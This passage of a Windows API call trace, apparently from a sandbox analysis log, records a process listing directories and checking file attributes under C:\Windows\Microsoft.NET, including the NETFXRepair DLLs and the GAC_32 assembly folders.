	[0088.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1045.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1045.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff5e8 | out: lpFileInformation=0x125ff5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d7379c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1046.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1046.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff638 | out: lpFileInformation=0x125ff638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d7379c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1049.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1049.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff688 | out: lpFileInformation=0x125ff688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d75db20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4b48)) returned 1
	[0088.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1053.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1053.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff6d8 | out: lpFileInformation=0x125ff6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d75db20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.1055.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.1055.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff728 | out: lpFileInformation=0x125ff728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d783c80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.2052.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.2052.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff778 | out: lpFileInformation=0x125ff778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d62d020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4748)) returned 1
	[0088.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.2070.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.2070.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff7c8 | out: lpFileInformation=0x125ff7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d75db20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.3082.dll" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.3082.dll"), fInfoLevelId=0x0, lpFileInformation=0x125ff818 | out: lpFileInformation=0x125ff818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fff00, ftCreationTime.dwHighDateTime=0x1d0aa99, ftLastAccessTime.dwLowDateTime=0x5d6792e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x71fff00, ftLastWriteTime.dwHighDateTime=0x1d0aa99, nFileSizeHigh=0x0, nFileSizeLow=0x4948)) returned 1
	[0088.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\NETFXRepair.exe" (normalized: "c:\\windows\\microsoft.net\\netfxrepair.exe"), fInfoLevelId=0x0, lpFileInformation=0x125ff868 | out: lpFileInformation=0x125ff868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5d606ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x258b0)) returned 1
	[0088.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly" (normalized: "c:\\windows\\microsoft.net\\assembly"), fInfoLevelId=0x0, lpFileInformation=0x125ff8b8 | out: lpFileInformation=0x125ff8b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.541] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly" (normalized: "c:\\windows\\microsoft.net\\assembly"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.541] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.541] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93128760, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93128760, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.541] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_32", cAlternateFileName="")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93128760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_64", cAlternateFileName="")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9176b980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.542] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32"), fInfoLevelId=0x0, lpFileInformation=0x125ff9f8 | out: lpFileInformation=0x125ff9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0088.542] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.542] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91803f00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91803f00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91803f00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomMarshalers", cAlternateFileName="CUSTOM~1")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9163ae80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91660fe0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91660fe0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISymWrapper", cAlternateFileName="ISYMWR~1")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92730b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92730b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92730b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.Dtc", cAlternateFileName="MICROS~1.DTC")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9277ce00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9277ce00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9277ce00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Activities.Compiler", cAlternateFileName="MICROS~1.COM")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x916f9560, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x916f9560, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x916f9560, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscorlib", cAlternateFileName="")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92de2920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92de2920, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92de2920, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore", cAlternateFileName="PRESEN~1")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91980cc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91980cc0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91980cc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data", cAlternateFileName="SYSTEM~1.DAT")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3eb90a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa3eb90a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa3eb90a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient", cAlternateFileName="SYSTEM~1.ORA")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91745820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91745820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91745820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices", cAlternateFileName="SYSTEM~1.ENT")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92d70500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92d70500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92d70500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing", cAlternateFileName="SYSTEM~1.PRI")) returned 1
	[0088.542] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92c8bcc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x92cb1e20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x92cb1e20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions", cAlternateFileName="SYSTEM~1.TRA")) returned 1
	[0088.543] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa43a1e00, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa43a1e00, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa43a1e00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web", cAlternateFileName="")) returned 1
	[0088.543] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.543] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.543] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers"), fInfoLevelId=0x0, lpFileInformation=0x125ffe08 | out: lpFileInformation=0x125ffe08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91803f00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91803f00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91803f00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.543] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.543] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91803f00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91803f00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91803f00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.543] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91803f00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x91803f00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x91803f00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.543] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917ddda0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5908cca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.543] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.543] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.543] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x125ffea8 | out: lpFileInformation=0x125ffea8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917ddda0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5908cca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.544] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\custommarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.544] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\CustomMarshalers\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917ddda0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5908cca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.544] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x917ddda0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5908cca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.544] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5908cca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomMarshalers.dll", cAlternateFileName="CUSTOM~1.DLL")) returned 1
	[0088.544] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.544] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
